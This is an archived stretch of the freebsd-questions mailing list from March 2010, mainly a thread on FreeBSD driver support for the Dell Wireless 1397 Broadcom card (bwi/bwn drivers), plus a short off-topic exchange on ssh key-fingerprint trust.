freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 10:13:35 -0000 On Wed, Mar 10, 2010 at 10:05 AM, Nikos Vassiliadis wro= te: > Hi, > > =A0I am interested in buying a laptop from the > Dell Inspiron 15 series. Most of them are having > a wifi card branded as 'Dell Wireless 1397'. > Is there a driver for this? > > I would prefer a native driver, but success > stories using it with NDIS or other general > comments regarding the Dell Inspiron 15 series > are welcome. > > Thanks, Nikos > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > Hello, >From a quick google query this card should have a Broadcom BCM43xx chipset. http://www.freebsd.org/cgi/man.cgi?query=3Dbwi From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 10:35:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6357D1065674 for ; Wed, 10 Mar 2010 10:35:13 +0000 (UTC) (envelope-from nvass9573@gmx.com) Received: from mailout-eu.gmx.com (mailout-eu.gmx.com [213.165.64.42]) by mx1.freebsd.org (Postfix) with SMTP id A8CF28FC17 for ; Wed, 10 Mar 2010 10:35:12 +0000 (UTC) Received: (qmail invoked by alias); 10 Mar 2010 10:35:11 -0000 Received: from adsl-155.79.107.65.tellas.gr (EHLO [192.168.73.195]) [79.107.65.155] by mail.gmx.com (mp-eu005) with SMTP; 10 Mar 2010 11:35:11 +0100 X-Authenticated: #46156728 X-Provags-ID: V01U2FsdGVkX1+NBRxuikKNYRYQDkzDIY6lEfuTzCXWtE6FwQDVem JeHhrdPaiZ1xqS Message-ID: <4B9775B8.3040402@gmx.com> Date: Wed, 10 Mar 2010 12:34:32 +0200 From: Nikos Vassiliadis User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: George Liaskos References: <4B976ED8.4090302@gmx.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-FuHaFi: 0.58999999999999997 Cc: FreeBSD Mailing List Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 10:35:13 -0000 On 3/10/2010 12:13 PM, George Liaskos wrote: > On Wed, Mar 10, 2010 at 10:05 AM, Nikos Vassiliadis wrote: >> Hi, >> >> I am interested in buying a laptop from the >> Dell Inspiron 15 series. Most of them are having >> a wifi card branded as 'Dell Wireless 1397'. >> Is there a driver for this? >> >> I would prefer a native driver, but success >> stories using it with NDIS or other general >> comments regarding the Dell Inspiron 15 series >> are welcome. >> > > Hello, > >> > From a quick google query this card should have a Broadcom BCM43xx chipset. > http://www.freebsd.org/cgi/man.cgi?query=bwi Thanks, but I've already done the quick google and the not-so-quick google look. The results were not that positive. Do you know by personal experience that this card is working with bwi driver? Or at least with NDIS and amd64? Thanks, Nikos From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 10:41:32 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EB8E2106564A for ; Wed, 10 Mar 2010 10:41:32 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mail.gelita.se (212-162-182-244.skbbip.com [212.162.182.244]) by mx1.freebsd.org (Postfix) with ESMTP id A936A8FC32 for ; Wed, 10 Mar 2010 10:41:31 +0000 (UTC) Received: from mail.gelita.se (localhost.gelita.se [127.0.0.1]) by mail.gelita.se (Postfix) with ESMTP id 6DAFD10E77C; Wed, 10 Mar 2010 11:43:34 +0100 (CET) X-Virus-Scanned: amavisd-new at troback.com Received: from mail.gelita.se ([127.0.0.1]) by mail.gelita.se (mail.gelita.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id R95Gg7-TAtPV; Wed, 10 Mar 2010 11:43:26 +0100 (CET) Received: from bljbsd01.no-ip.org (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mail.gelita.se (Postfix) with ESMTP id 420EE10E50A; Wed, 10 Mar 2010 11:43:26 +0100 (CET) Message-ID: <4B977752.9080204@eskk.nu> Date: Wed, 10 Mar 2010 11:41:22 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; sv-SE; rv:1.9.1.8) Gecko/20100302 Thunderbird/3.0.3 MIME-Version: 1.0 To: Nikos Vassiliadis References: <4B976ED8.4090302@gmx.com> In-Reply-To: <4B976ED8.4090302@gmx.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Mailing List Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 10:41:33 -0000 On 2010-03-10 11:05, Nikos Vassiliadis wrote: > Hi, > > I am interested in buying a laptop from the > Dell Inspiron 15 series. Most of them are having > a wifi card branded as 'Dell Wireless 1397'. > Is there a driver for this? > > I would prefer a native driver, but success > stories using it with NDIS or other general > comments regarding the Dell Inspiron 15 series > are welcome. > > Thanks, Nikos > I bought a Dell Latitude 6500 two years ago. The Dell Wireless was not supported then by FreeBSD. I got an Intel card from Dell instead and the iwn driver works well. http://forums.freebsd.org/showthread.php?t=8041 /Leslie From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 10:59:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 17D281065674 for ; Wed, 10 Mar 2010 10:59:48 +0000 (UTC) (envelope-from Olivier.Nicole@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 8D4E28FC1C for ; Wed, 10 Mar 2010 10:59:46 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mail.cs.ait.ac.th (Postfix) with ESMTP id CB35A3A386E; Wed, 10 Mar 2010 17:59:44 +0700 (ICT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cs.ait.ac.th; h= references:subject:subject:in-reply-to:from:from:message-id:date :date:received:received:received; s=selector1; t=1268218784; x= 1270033184; bh=IVHVh0Xb1Z3bONWy6cuTXzNuynwzJCaf2YeBy19EgMo=; b=H p28ne3SEUJXa0kFIhmevvu92XkhNCwznkhfaF54uGxSAzZp/EJoHjNxov/uRv+A2 9NB8NEbcFDpatNybMMJAYNEaK00T7eSlikN9HMvEeb02SoKFN/+kRi4nlrfwOqT+ P3Ydbolcizj0Un/PQVFd/ateK7FWw3aUFP9A0qgqNk= X-Virus-Scanned: amavisd-new at cs.ait.ac.th Received: from mail.cs.ait.ac.th ([127.0.0.1]) by localhost (mail.cs.ait.ac.th [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id tCe2tlM2n80t; Wed, 10 Mar 2010 17:59:44 +0700 (ICT) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.cs.ait.ac.th (Postfix) with ESMTPS id 69B233A386B; Wed, 10 Mar 2010 17:59:44 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.3/8.14.3/Submit) id o2AAxfns092895; Wed, 10 Mar 2010 17:59:41 +0700 (ICT) (envelope-from on) Date: Wed, 10 Mar 2010 17:59:41 +0700 (ICT) Message-Id: <201003101059.o2AAxfns092895@banyan.cs.ait.ac.th> From: Olivier Nicole To: perryh@pluto.rain.com In-reply-to: <4b97392c.O1yEWWCVzta4T7fL%perryh@pluto.rain.com> References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> <4b97392c.O1yEWWCVzta4T7fL%perryh@pluto.rain.com> Cc: freebsd-questions@freebsd.org Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 10:59:48 -0000 Hi, > > The pre-shared information need not to be secret ... but there is > > need for pre-shared trusted information. > Er, if the pre-shared information is not secret, how can I be sure > that the person presenting it is in fact my intended correspondent > and not a MIM? That is why I wrote "trusted", I don't assume how this is trusted, but I need to trust it. If I am 100% sure the fingerprint comes from the right guy, I can easily test that the fingerprint corresponds to the intended public key, so that the publick key effectively belongs to the right guy, and crypting with that public key, only the right guy with his provate key will be able to read my message. Now Diffie-Hellman may help providing the trust for the fingerprint. Bests, Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 11:00:04 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EEE171065672 for ; Wed, 10 Mar 2010 11:00:04 +0000 (UTC) (envelope-from geo.liaskos@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 7BC1E8FC15 for ; Wed, 10 Mar 2010 11:00:04 +0000 (UTC) Received: by fxm23 with SMTP id 23so7011699fxm.3 for ; Wed, 10 Mar 2010 03:00:03 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=gF1AMgxqOejeut/krF2dTFdk49qGI/+7W1vA2ZZtSxA=; b=VTpumMGqI386wUA96E9BJsr1K9PqI+QNS7jxdNVa1hWHKOqu4aVQnturMTQEGhYCqo 2oyesWghHqibKyzMRYttRKunvABoz+vWFrTdJVKW92M2YsXWXMLDpHdzUq43BVL2tH43 UfWr24tq050jqEV9s+80v0K2YAa4ReoNpdPtA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=AMF2l9P09YHX/B6pYvZN4l8x5NVqhDQqoKhNr3dliZtKkop0oNHkw27CNBtFKFso4+ RlYKGGYsu73zjgzPXNyS0D0NiBXtTtv7wYBWAUxJHEbCDBLgkxwGMfAS7yUDqAEMt0Dx 19+uUh32uWX+iqF7vn/iUmKtXh4nTBQoZ5Cdo= MIME-Version: 1.0 Received: by 10.239.193.148 with SMTP id j20mr130694hbi.40.1268218803160; Wed, 10 Mar 2010 03:00:03 -0800 (PST) In-Reply-To: <4B9775B8.3040402@gmx.com> References: <4B976ED8.4090302@gmx.com> <4B9775B8.3040402@gmx.com> Date: Wed, 10 Mar 2010 11:00:03 +0000 Message-ID: From: George Liaskos To: Nikos Vassiliadis Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD Mailing List Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 11:00:05 -0000 On Wed, Mar 10, 2010 at 10:34 AM, Nikos Vassiliadis wro= te: > On 3/10/2010 12:13 PM, George Liaskos wrote: >> >> On Wed, Mar 10, 2010 at 10:05 AM, Nikos Vassiliadis >> =A0wrote: >>> >>> Hi, >>> >>> =A0I am interested in buying a laptop from the >>> Dell Inspiron 15 series. Most of them are having >>> a wifi card branded as 'Dell Wireless 1397'. >>> Is there a driver for this? >>> >>> I would prefer a native driver, but success >>> stories using it with NDIS or other general >>> comments regarding the Dell Inspiron 15 series >>> are welcome. >>> >> >> Hello, >> >>> > From a quick google query this card should have a Broadcom BCM43xx >>> > chipset. >> >> http://www.freebsd.org/cgi/man.cgi?query=3Dbwi > > Thanks, but I've already done the quick google and > the not-so-quick google look. The results were not > that positive. Do you know by personal experience > that this card is working with bwi driver? > > Or at least with NDIS and amd64? > > Thanks, Nikos > No, i do not have this card but i trust the man pages :) I found this post : http://www.linuxquestions.org/hcl/showproduct.php/product/4325/sl/i >0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g (rev 01= ) Maybe what you find is based on experiences before May 16, 2009? Regards From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 11:32:29 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DA3021065672 for ; Wed, 10 Mar 2010 11:32:29 +0000 (UTC) (envelope-from nvass9573@gmx.com) Received: from mailout-eu.gmx.com (mailout-eu.gmx.com [213.165.64.42]) by mx1.freebsd.org (Postfix) with SMTP id 2DF0F8FC15 for ; Wed, 10 Mar 2010 11:32:29 +0000 (UTC) Received: (qmail invoked by alias); 10 Mar 2010 11:32:27 -0000 Received: from adsl-155.79.107.65.tellas.gr (EHLO [192.168.73.195]) [79.107.65.155] by mail.gmx.com (mp-eu002) with SMTP; 10 Mar 2010 12:32:27 +0100 X-Authenticated: #46156728 X-Provags-ID: V01U2FsdGVkX18uyVUI5g8u+WclblnKezHQFuUcrUf5hCR9xl5TQ+ mmNrbQV6kUR5Zj Message-ID: <4B97832A.4000007@gmx.com> Date: Wed, 10 Mar 2010 13:31:54 +0200 From: Nikos Vassiliadis User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: Leslie Jensen References: <4B976ED8.4090302@gmx.com> <4B977752.9080204@eskk.nu> In-Reply-To: <4B977752.9080204@eskk.nu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-FuHaFi: 0.64000000000000001 Cc: FreeBSD Mailing List Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 11:32:29 -0000 On 3/10/2010 12:41 PM, Leslie Jensen wrote: > I bought a Dell Latitude 6500 two years ago. The Dell Wireless was not > supported then by FreeBSD. I got an Intel card from Dell instead and the > iwn driver works well. > > http://forums.freebsd.org/showthread.php?t=8041 I guess you have not looked back to 'Dell Wireless 1397' with a recent FreeBSD? From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 11:49:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CB0D2106564A for ; Wed, 10 Mar 2010 11:49:11 +0000 (UTC) (envelope-from lobo@bsd.com.br) Received: from mail-yw0-f191.google.com (mail-yw0-f191.google.com [209.85.211.191]) by mx1.freebsd.org (Postfix) with ESMTP id 900C48FC19 for ; Wed, 10 Mar 2010 11:49:11 +0000 (UTC) Received: by ywh29 with SMTP id 29so4041712ywh.14 for ; Wed, 10 Mar 2010 03:49:10 -0800 (PST) Received: by 10.100.230.14 with SMTP id c14mr1320945anh.79.1268221750440; Wed, 10 Mar 2010 03:49:10 -0800 (PST) Received: from papi.localnet ([189.70.128.97]) by mx.google.com with ESMTPS id 9sm1188860yxf.11.2010.03.10.03.49.08 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 10 Mar 2010 03:49:09 -0800 (PST) From: Mario Lobo To: freebsd-questions@freebsd.org Date: Wed, 10 Mar 2010 08:50:58 +0000 User-Agent: KMail/1.12.4 (FreeBSD/8.0-STABLE; KDE/4.3.5; amd64; ; ) References: <4B976ED8.4090302@gmx.com> <4B9775B8.3040402@gmx.com> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201003100850.58321.lobo@bsd.com.br> Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 11:49:11 -0000 On Wednesday 10 March 2010 11:00:03 George Liaskos wrote: > On Wed, Mar 10, 2010 at 10:34 AM, Nikos Vassiliadis wrote: > > On 3/10/2010 12:13 PM, George Liaskos wrote: > >> On Wed, Mar 10, 2010 at 10:05 AM, Nikos Vassiliadis > >> > >> wrote: > >>> Hi, > >>> > >>> I am interested in buying a laptop from the > >>> Dell Inspiron 15 series. Most of them are having > >>> a wifi card branded as 'Dell Wireless 1397'. > >>> Is there a driver for this? > >>> > >>> I would prefer a native driver, but success > >>> stories using it with NDIS or other general > >>> comments regarding the Dell Inspiron 15 series > >>> are welcome. > >> > >> Hello, > >> > >>> > From a quick google query this card should have a Broadcom BCM43xx > >>> > chipset. > >> > >> http://www.freebsd.org/cgi/man.cgi?query=bwi > > > > Thanks, but I've already done the quick google and > > the not-so-quick google look. The results were not > > that positive. Do you know by personal experience > > that this card is working with bwi driver? > > > > Or at least with NDIS and amd64? > > > > Thanks, Nikos > > No, i do not have this card but i trust the man pages :) > > I found this post : > http://www.linuxquestions.org/hcl/showproduct.php/product/4325/sl/i > > >0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g (rev > > 01) > > Maybe what you find is based on experiences before May 16, 2009? > > Regards > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > I have 8-STABLE amd64 I have a dell vostro 1320 with a 4315 wireless and got it working with the bwn driver from HEAD (svn) and the net/bwn-firmware-kmod port. -- Mario Lobo http://www.mallavoodoo.com.br FreeBSD since version 2.2.8 [not Pro-Audio.... YET!!] (99,7% winfoes FREE) From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 12:14:19 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2A65B1065670 for ; Wed, 10 Mar 2010 12:14:19 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id D250C8FC1F for ; Wed, 10 Mar 2010 12:14:18 +0000 (UTC) Received: from [10.66.236.37] (unknown [82.113.106.222]) by mail.locolomo.org (Postfix) with ESMTPSA id 92AF01C0871; Wed, 10 Mar 2010 13:14:16 +0100 (CET) References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> <4b97392c.O1yEWWCVzta4T7fL%perryh@pluto.rain.com> <201003101059.o2AAxfns092895@banyan.cs.ait.ac.th> Message-Id: <4BE3E3C6-EE41-426A-AD03-6DF9BDE50DC8@locolomo.org> From: =?utf-8?Q?Erik_N=C3=B8rgaard?= To: Olivier Nicole In-Reply-To: <201003101059.o2AAxfns092895@banyan.cs.ait.ac.th> Content-Type: text/plain; charset=us-ascii; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit X-Mailer: iPhone Mail (7E18) Mime-Version: 1.0 (iPhone Mail 7E18) Date: Wed, 10 Mar 2010 13:14:19 +0100 Cc: "perryh@pluto.rain.com" , "freebsd-questions@freebsd.org" Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 12:14:19 -0000 On Mar 10, 2010, at 11:59, Olivier Nicole wrote: > Now Diffie-Hellman may help providing the trust for the fingerprint. > No it won't. Trust goes either via a trusted third party as in PKI or the pgp chain of trust or via direct verification. In the latter case if you cannot establish trust, call up the owner to verify his key. BR erik From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 12:16:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 74099106566B for ; Wed, 10 Mar 2010 12:16:13 +0000 (UTC) (envelope-from nvass9573@gmx.com) Received: from mailout-eu.gmx.com (mailout-eu.gmx.com [213.165.64.42]) by mx1.freebsd.org (Postfix) with SMTP id B98B98FC14 for ; Wed, 10 Mar 2010 12:16:12 +0000 (UTC) Received: (qmail invoked by alias); 10 Mar 2010 12:16:11 -0000 Received: from adsl-155.79.107.65.tellas.gr (EHLO [192.168.73.195]) [79.107.65.155] by mail.gmx.com (mp-eu001) with SMTP; 10 Mar 2010 13:16:11 +0100 X-Authenticated: #46156728 X-Provags-ID: V01U2FsdGVkX1/8gZASJk/8AfZ1yI2E5aN7ZwPCF181Z2SIzoV9yK fyhhxsvomBs7ET Message-ID: <4B978D69.1080609@gmx.com> Date: Wed, 10 Mar 2010 14:15:37 +0200 From: Nikos Vassiliadis User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: George Liaskos References: <4B976ED8.4090302@gmx.com> <4B9775B8.3040402@gmx.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-FuHaFi: 0.58999999999999997 Cc: FreeBSD Mailing List Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 12:16:13 -0000 On 3/10/2010 1:00 PM, George Liaskos wrote: > No, i do not have this card but i trust the man pages :) Me too. Yet I will not buy new/non-mainstream hardware based on the manual. Hence the question... All I am looking for is an "I have and it works with FreeBSD-[89] and amd64|x86". > I found this post : > http://www.linuxquestions.org/hcl/showproduct.php/product/4325/sl/i > >> 0c:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g (rev 01) > > Maybe what you find is based on experiences before May 16, 2009? Yes, prior to the 8.0 release. All I find online is about failure and references about the driver being included in FreeBSD-8 branch. Nikos From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 12:24:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AB778106566C for ; Wed, 10 Mar 2010 12:24:11 +0000 (UTC) (envelope-from nvass9573@gmx.com) Received: from mailout-eu.gmx.com (mailout-eu.gmx.com [213.165.64.42]) by mx1.freebsd.org (Postfix) with SMTP id F1B8D8FC1B for ; Wed, 10 Mar 2010 12:24:10 +0000 (UTC) Received: (qmail invoked by alias); 10 Mar 2010 12:24:09 -0000 Received: from adsl-155.79.107.65.tellas.gr (EHLO [192.168.73.195]) [79.107.65.155] by mail.gmx.com (mp-eu001) with SMTP; 10 Mar 2010 13:24:09 +0100 X-Authenticated: #46156728 X-Provags-ID: V01U2FsdGVkX1/C9A4XHKnC7LAscrAJFx3kQZMEbPj5Uh+XGwsgkP c3YBnZzWX2YFKk Message-ID: <4B978F48.4030209@gmx.com> Date: Wed, 10 Mar 2010 14:23:36 +0200 From: Nikos Vassiliadis User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: Mario Lobo References: <4B976ED8.4090302@gmx.com> <4B9775B8.3040402@gmx.com> <201003100850.58321.lobo@bsd.com.br> In-Reply-To: <201003100850.58321.lobo@bsd.com.br> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-FuHaFi: 0.67000000000000004 Cc: freebsd-questions@freebsd.org Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 12:24:11 -0000 On 3/10/2010 10:50 AM, Mario Lobo wrote: > I have 8-STABLE amd64 > > I have a dell vostro 1320 with a 4315 wireless and got it working with the bwn > driver from HEAD (svn) and the net/bwn-firmware-kmod port. That's good to hear, thanks! Nikos From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 13:10:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 831C7106564A for ; Wed, 10 Mar 2010 13:10:14 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mail.gelita.se (212-162-182-244.skbbip.com [212.162.182.244]) by mx1.freebsd.org (Postfix) with ESMTP id 414558FC0C for ; Wed, 10 Mar 2010 13:10:14 +0000 (UTC) Received: from mail.gelita.se (localhost.gelita.se [127.0.0.1]) by mail.gelita.se (Postfix) with ESMTP id 42E5010E77C; Wed, 10 Mar 2010 14:12:17 +0100 (CET) X-Virus-Scanned: amavisd-new at troback.com Received: from mail.gelita.se ([127.0.0.1]) by mail.gelita.se (mail.gelita.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id y-kEO7TICHyj; Wed, 10 Mar 2010 14:12:12 +0100 (CET) Received: from bljbsd01.no-ip.org (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mail.gelita.se (Postfix) with ESMTP id F1EC810E50A; Wed, 10 Mar 2010 14:12:11 +0100 (CET) Message-ID: <4B979A2F.6060007@eskk.nu> Date: Wed, 10 Mar 2010 14:10:07 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; sv-SE; rv:1.9.1.8) Gecko/20100302 Thunderbird/3.0.3 MIME-Version: 1.0 To: Nikos Vassiliadis References: <4B976ED8.4090302@gmx.com> <4B977752.9080204@eskk.nu> <4B97832A.4000007@gmx.com> In-Reply-To: <4B97832A.4000007@gmx.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Mailing List Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 13:10:14 -0000 On 2010-03-10 12:31, Nikos Vassiliadis wrote: > On 3/10/2010 12:41 PM, Leslie Jensen wrote: >> I bought a Dell Latitude 6500 two years ago. The Dell Wireless was not >> supported then by FreeBSD. I got an Intel card from Dell instead and the >> iwn driver works well. >> >> http://forums.freebsd.org/showthread.php?t=8041 > > I guess you have not looked back to 'Dell Wireless 1397' > with a recent FreeBSD? > > _______________________________________________ No! I think you can alter the configuration of the pc before you buy it. So the cost should not be so big. I think I payed about 20$ extra for the Intel card. /Leslie From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 13:44:07 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 212C61065673 for ; Wed, 10 Mar 2010 13:44:07 +0000 (UTC) (envelope-from alex@stangl.us) Received: from stangl.us (stangl.us [66.93.193.95]) by mx1.freebsd.org (Postfix) with ESMTP id DDD078FC1A for ; Wed, 10 Mar 2010 13:44:06 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by scout.stangl.us (Postfix) with ESMTP id 49B53B8C9; Wed, 10 Mar 2010 07:44:06 -0600 (CST) X-Virus-Scanned: amavisd-new at stangl.us Received: from stangl.us ([127.0.0.1]) by localhost (scout.stangl.us [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yu7AFScGH7eW; Wed, 10 Mar 2010 07:44:05 -0600 (CST) Received: by scout.stangl.us (Postfix, from userid 1001) id 37796B8C8; Wed, 10 Mar 2010 07:44:05 -0600 (CST) Date: Wed, 10 Mar 2010 07:44:05 -0600 From: Alex Stangl To: Nerius Landys Message-ID: <20100310134405.GA18632@scout.stangl.us> References: <560f92641003100100y6490cf3veb53ca0b11a90dcb@mail.gmail.com> Mime-Version: 